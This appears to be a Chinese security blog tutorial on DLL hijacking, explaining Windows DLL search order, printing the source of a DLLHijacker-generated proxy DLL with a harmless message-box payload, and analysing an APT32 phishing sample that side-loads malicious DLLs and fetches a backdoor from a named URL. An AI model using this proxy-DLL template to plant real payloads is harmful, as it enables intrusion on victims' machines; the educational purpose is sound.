dll劫持原理&实例分析

  • A+

dll概念

DLL(Dynamic LinkableLibrary)是一个包含可由多个程序同时使用的代码和数据的库,DLL不是可执行文件。简言之,就是一种仓库,它提供了一些变量、函数和类等,在这种仓库的发展过程中,经历了:无库->静态链接库->动态链接库的过程。

dll加载顺序

Windows XP SP2之前

Windows查找DLL的目录以及对应的顺序:

  1. 进程对应的应用程序所在目录;
  2. 当前目录(Current Directory);
  3. 系统目录(通过 GetSystemDirectory 获取);
  4. 16位系统目录;
  5. Windows目录(通过 GetWindowsDirectory 获取);
  6. PATH环境变量中的各个目录;

例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

在winxdows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

编写一个dll

我们现在vs中新建一个动态链接库项目:

2.png

3.png

然后在生成的dllmain.cpp中加入以下代码:

int add(int x, int y)
{
return x + y;
}

pch.h内填入以下代码:

extern "C" int __declspec(dllexport)add(int x, int y);

这种声明方式是强制用c语言方式进行修饰,且用C的默认约定__cdecl方式。
这种方式编译产生的DLL中有一个导出函数:add,不加任何修饰。

然后重新生成解决方案,即可生产一个lengyi.dll

4.png

然后我们来加载我们的dll

新建一个普通的项目,然后把我们刚才生成的dll放入项目目录,加入以下代码:

```

include

include "stdio.h"

typedef int(*lpAddFun)(int, int);

int main(int argc, char* argv[]) {
HINSTANCE hDll;
lpAddFun addFun;
hDll = LoadLibrary("lengyi.dll");
if (hDll != NULL) {
addFun = (lpAddFun)GetProcAddress(hDll, "add");
if (addFun != NULL) {
int result = addFun(2, 3);
printf("%d", result);
}
FreeLibrary(hDll);
}
return 0;
}

```

成功调用

5.png

dll劫持

上面说过了dll的加载优先级,那么dll劫持的原理,大家估计也就能明白了,也就是下图的原理:

6.png

我们可以使用像ProcessMonitor这样的工具来进行查找存在dll劫持的程序

7.png

或者使用Rattler_x64.exe 进行一键化操作。

我们使用DLLHijacker来进行dll劫持的实践

https://github.com/kiwings/DLLHijacker

8.png

目录下生成 .cpp 文件及解决方案

```C
//Generate by DLLHijacker.py

include

pragma comment(linker, "/EXPORT:add=_DLLHijacker_add,@1")

define EXTERNC extern "C"

define NAKED __declspec(naked)

define EXPORT __declspec(dllexport)

define ALCPP EXPORT NAKED

define ALSTD EXTERNC EXPORT NAKED void __stdcall

define ALCFAST EXTERNC EXPORT NAKED void __fastcall

define ALCDECL EXTERNC NAKED void __cdecl

namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("lengyi.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack()
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if(Load())
Hijack();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
ALCDECL DLLHijacker_add(void)
{
__asm POP m_dwReturn[0 * TYPE long];
GetAddress("add")();
__asm JMP m_dwReturn[0 * TYPE long];
}
```

然后编译生成我们的dll文件,注意编译时使用多字节字符集

然后将我们的dll与生成的exe放到统一目录下,运行exe

9.png

成功劫持。

实例分析

我们以APT32的钓鱼攻击样本为例

目标是一个压缩文件,解压后如下(自动忽略ida的测试文件):

10.png

word文件为一个伪装了图标的exe文件。丢到apprun上发现没有任何异样。

11.png

那么只能出现在那个dll文件上了,wwlib是word运行时会调用的dll,apprun上也可以看到,默认在system下。

那么这就是一个典型的dll劫持了,因为上文我们知道,如果当前目录下有需要调用的dll的话,会优先调用该dll,我们再来看一下这个dll做了什么。

通过分析得知,该dll会释放360se.exe和chrome_elf.dll在C:ProgramData360seMaintenance路径下,360se.exe是合法的360浏览器程序,通过加载chrome_elf.dll执行恶意操作。然后再从https://officewps.net/ultra.jps下载后门payload并执行。

所以也就是两个dll劫持,进行payload执行。

参考文章

https://blog.csdn.net/u010311064/article/details/35792535

http://sh1yan.top/2019/06/16/The-Principle-and-Practice-of-DLL-Hijacking/

相关推荐: 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS多少?

前言   2015年Gabriel Lawrence(@gebl)和Chris Frohoff(@frohoff)在AppSecCali大会上提出的利用Apache Commons Collections来构造命令执行利用链,随后发布yso…